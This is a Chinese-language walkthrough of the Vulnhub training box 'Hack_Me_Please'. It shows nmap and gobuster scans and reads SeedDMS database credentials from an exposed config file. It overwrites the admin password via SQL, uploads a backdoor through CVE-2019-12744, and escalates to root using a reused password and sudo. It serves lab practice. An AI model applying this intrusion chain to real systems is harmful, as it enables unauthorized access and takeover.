Vulnhub 靶场练习 NO.28 Hack_Me_Please
Vulnhub 靶场练习 NO.28 Hack_Me_Please
1. 靶机介绍
1.1. 下载地址
https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar
1.2. 靶机描述
Difficulty: Easy
Description: An easy box totally made for OSCP. No bruteforce is required.
Aim: To get root shell
1.3. 环境搭建
virtual box 启动 选择仅主机网络
kali也配置同网卡
2. 测试过程
2.1. nmap探测ip
已知目标网段为192.168.56.0/24
可以用 nmap -sP 或者netdiscover探测
已知目标靶机在virtual box 上搭建
所以ip 应该为 192.168.56.102或者 192.168.56.117
56.102为dhcp服务器用于分配ip 所以靶机ip为56.117
2.2. nmap探测端口服务
nmap -sC -sV -A -p- -o port.txt 192.168.56.117
# Nmap 7.91 scan initiated Thu Mar 10 15:41:20 2022 as: nmap -sC -sV -A -p- -o port.txt 192.168.56.117
Nmap scan report for 192.168.56.117
Host is up (0.00050s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Welcome to the land of pwnland
3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
| mysql-info:
| Protocol: 10
| Version: 8.0.25-0ubuntu0.20.04.1
| Thread ID: 39
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, ConnectWithDatabase, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsTransactions, SwitchToSSLAfterHandshake, IgnoreSigpipes, Speaks41ProtocolNew, InteractiveClient, IgnoreSpaceBeforeParenthesis, FoundRows, ODBCClient, LongPassword, SupportsLoadDataLocal, LongColumnFlag, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: gr>\x13\x05=h\x0D\x11/O%Q\x06^K\x16 \x0Eh
|_ Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate
| Not valid before: 2021-07-03T00:33:15
|_Not valid after: 2031-07-01T00:33:15
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=3/10%Time=6229ABAD%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\
SF:x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20me
SF:ssage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAN
SF:Desk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRP
SF:C,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid
SF:\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10
SF:\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:00:52:27 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 192.168.56.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 10 15:41:41 2022 -- 1 IP address (1 host up) scanned in 21.46 seconds
开放端口情况:
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
33060/tcp open mysqlx?
设备系统情况:
MAC Address: 08:00:27:00:52:27 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
2.3. 测试思路:
2.3.1. 80端口
主页功能点测试,源码审查信息(关注js),目录扫描 目录功能点测试
2.3.2. 3306端口
mysql弱口令爆破,寻找到可能为账号密码时 登录测试
2.3.3. 33060端口
MySQL X plugin是MySQL新发版本5.7.12中新增的插件,利用它实现MySQL作为文件存储数据库,也就是利用MySQL 5.7版本json支持的特性完成。
2.4. 浏览网站
点击后发现首页没有功能点
2.5. 目录扫描
gobuster dir -u http://192.168.56.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php
目录扫描的同时 进行2.5. 步骤去看看源码中 有没有路径泄露
2.6. 审查源码
发现三处/js目录下的js文件
2.7. 审查js文件
2.7.1 审查main.js
发现一处目录
/seeddms51x/seeddms-5.1.22/
2.8. seeddms信息收集
一个文档管理系统 版本可能为5.1.22
2.8.1. 搜索公开漏洞
有5个
看起来存在漏洞的版本都在5.1.22之下,该seeddms可能没有漏洞 但还是试试。
查看后漏洞介绍后发现,两个rce 都需要登录后才能利用。
需要先找密码,还是换种思路吧
找源码或者扫目录 看看文件
2.8.2. 寻找源码
https://sourceforge.net/projects/seeddms/files/
在该处可下载源码
或者百度搜索 seeddms 搭建、配置 之类的 看看别人写的下载地址,和配置文件 其中可能就有敏感信息
2.9. 审查源码文件
通过 百度 seeddms 快速搭建,搜索到 该配置文件中含有 网站绝对路径 及数据库信息
2.10. 查看目标配置文件
http://192.168.56.117/seeddms51x/conf/settings.xml
网站绝对路径 /var/www/html/seeddms51x/seeddms-5.1.22/
数据库账号密码
dbDatabase=“seeddms” dbUser=“seeddms” dbPass=“seeddms”
2.11. 远程连接mysql
注意需要用8.0版本mysql
mysql -h 192.168.56.117 -useeddms -pseeddms -Dseeddms
登录成功
2.11.1. mysqlgetshell(失败)
只能写入在/var/lib/mysql-files/ 无法将马写入网站目录下
只能通过登录网站后台寻找漏洞getshell啦
2.11.2. 查找网站密码
在seeddms库的tblUsers 表中
admin f9ef2c539bad8a6d2f3432b6d49ab51a
2.11.3. md5解密
解密失败
2.11.4. update密码字段
密码无法解密成功,为了getshell 只好直接修改数据库密码的值用于登录了
update tblUsers SET pwd=‘e10adc3949ba59abbe56e057f20f883e’ where login=‘admin’;
2.11.5. 登录网站后台
通过admin 123456进入后台成功
2.12. CVE-2019-12744
2.12.1. 查看漏洞利用方法
- 后台添加文档
- 选择后门
- 上传记住文档编号
- 访问
2.12.2. 漏洞利用
注意测试后发现名称要和上传文件名一样
可在文档信息处发现 序号为8
后门执行命令成功
2.12.3. 反弹shell
kali监听7777端口
将反弹shell命令进行url编码 用post请求提交
2.13. 切换完整shell
- python3 -c ‘import pty;pty.spawn("/bin/bash")’
- export TERM=xterm 然后 Ctrl+Z 退出来一下
- stty raw -echo;fg 回车后输入 reset 再回车
- stty rows 46 columns 188
这样子shell 就有自动补全等功能了
2.14. 提权
2.14.1. 账号收集
cat /etc/passwd
想办法提权到saket用户
而saket 账号之前 在数据库中就见过
Saket@#$1337
2.14.2. su saket 切换账号
尝试登录 saket
Saket@#$1337
登录成功,顺便查看id命令
可以看到saket存在于很多用户组中
应该会有sudo权限 查看一下
2.14.3. sudo -l 查看该账号的权限
发现saket用户 能够以sudo 执行命令 需要密码
(sudo所执行的执行是root亲自执行的)
我们就可以用sudo su root 切换为root用户
2.14.4. sudo su root 切换为root权限
sudo su root -l 切换为root权限 -l参数表示跳转到切换后的用户 工作目录下
3. 总结
- 通过namp 扫出 80 和3306端口,只能从这两个端口入手。
- 80端口通过源码中的js文件,发现一处seeddms目录。
- 通过百度及下载源码搜索到seeddms的配置文件在/conf/settings.xml 发现数据库账号密码。
- 远程连接数据库,获取到后台登录账号密码。
- 通过已知seeddms,CVE后台漏洞 上传后门getshell。
- su saket 通过数据库中看到的可能为密码信息,登录成功,提权saket用户。
- sudo -l 发现saket可以执行sudo命令需要输入saket密码即可,提权至root。